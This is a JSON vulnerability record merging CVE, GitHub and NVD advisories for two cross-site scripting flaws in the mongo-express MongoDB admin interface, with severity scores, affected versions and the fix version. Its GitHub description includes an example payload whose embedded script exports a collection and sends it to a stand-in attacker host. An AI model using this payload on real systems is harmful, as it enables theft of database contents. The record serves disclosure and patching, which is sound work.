{"id":"CVE-2021-21422","aliases":["CVE-2021-21422","GHSA-7p8h-86p5-wv3p"],"related":[],"kind":"vulnerability","state":"published","title":"XSS Vulnerability in mongo-express","summary":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\\collection are possible.","source":"cvelist"},{"lang":"en","text":"Two kinds of XSS were found:\n\n1.  As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.\n2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.\n\n\n\n### Impact\nAs an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:\n```JSON\n{\"someField\": \"long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res =>  await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>\"  }\n```\nThis will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\\collection are also possible.\n\n### Patches\nUpgrade to  `v1.0.0-alpha.4`\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [mongo-express](https://github.com/mongo-express/mongo-express/issues/new)\n* Email me at [jafar.akhoondali@gmail.com](mailto:jafar.akhoondali@gmail.com)","format":"markdown","source":"ghsa"},{"lang":"es","text":"mongo-express es una interfaz de administración de MongoDB basada en la web, escrita con Node.js y express. 1: Como se menciona en este tema: https://github.com/mongo-express/mongo-express/issues/577, cuando el contenido de una celda crece más que el tamaño soportado, al hacer clic en una fila se mostrará el documento completo sin escapar, sin embargo esto necesita la interacción del administrador en la celda. 2: Las celdas de datos identificadas como medios de comunicación se renderizarán como medios de comunicación, sin ser saneados. Ejemplo de diferentes renderizados: imagen, audio, video, etc. Como ejemplo de ataque de tipo 1, un usuario no autorizado que sólo puede enviar una gran cantidad de datos en un campo de un documento puede utilizar una carga útil con javascript insertado. Esto podría enviar una exportación de una colección al atacante sin que ni siquiera un administrador lo sepa. Otros tipos de ataques, como la caída de base de datos\\colección , son posibles","source":"nvd"}],"published":"2021-06-21T18:45:12.000Z","modified":"2026-07-08T06:29:33.325Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":8.1,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N","score":6.1,"rating":"MEDIUM"},{"scorer":"NVD","scheme":"CVSS:2.0","vector":"AV:N/AC:M/Au:N/C:N/I:P/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-79"],"affected":[{"ranges":[{"version":"< v1.0.0-alpha.4","status":"affected"}],"vendor":"mongo-express","product":"mongo-express","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.0.0-alpha.4"}],"ecosystem":"npm","package":"mongo-express","purl":"pkg:npm/mongo-express","source":"ghsa"},{"ranges":[{"status":"affected","lastAffected":"0.54.0"},{"status":"affected","version":"1.0.0"},{"status":"affected","version":"1.0.0"}],"vendor":"mongo-express_project","product":"mongo-express","cpe":"cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*","source":"nvd"}],"references":[{"url":"https://github.com/mongo-express/mongo-express/security/advisories/GHSA-7p8h-86p5-wv3p","tags":["exploit","third-party-advisory","web","x-refsource-confirm","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/mongo-express/mongo-express/issues/577","tags":["exploit","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/mongo-express/mongo-express/commit/f5e0d4931f856f032f22664b5e5901d5950cfd4b","tags":["patch","third-party-advisory","web","x-refsource-misc","x-transferred"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422","tags":["advisory"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2021-21422","url":"https://www.cve.org/CVERecord?id=CVE-2021-21422","licence":"CVE Terms of Use","modified":"2024-08-03T18:09:16.084Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-7p8h-86p5-wv3p","url":"https://github.com/advisories/GHSA-7p8h-86p5-wv3p","licence":"CC-BY-4.0","modified":"2026-07-08T06:29:33.325Z"},{"source":"nvd","name":"NVD","id":"CVE-2021-21422","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-21422","licence":"Public domain","modified":"2026-06-17T03:35:32.683Z"}],"updatedAt":"2026-11-25T22:58:02.045Z","epss":{"score":0.0157,"percentile":0.76098,"date":"2026-12-01T12:00:22.000Z"}}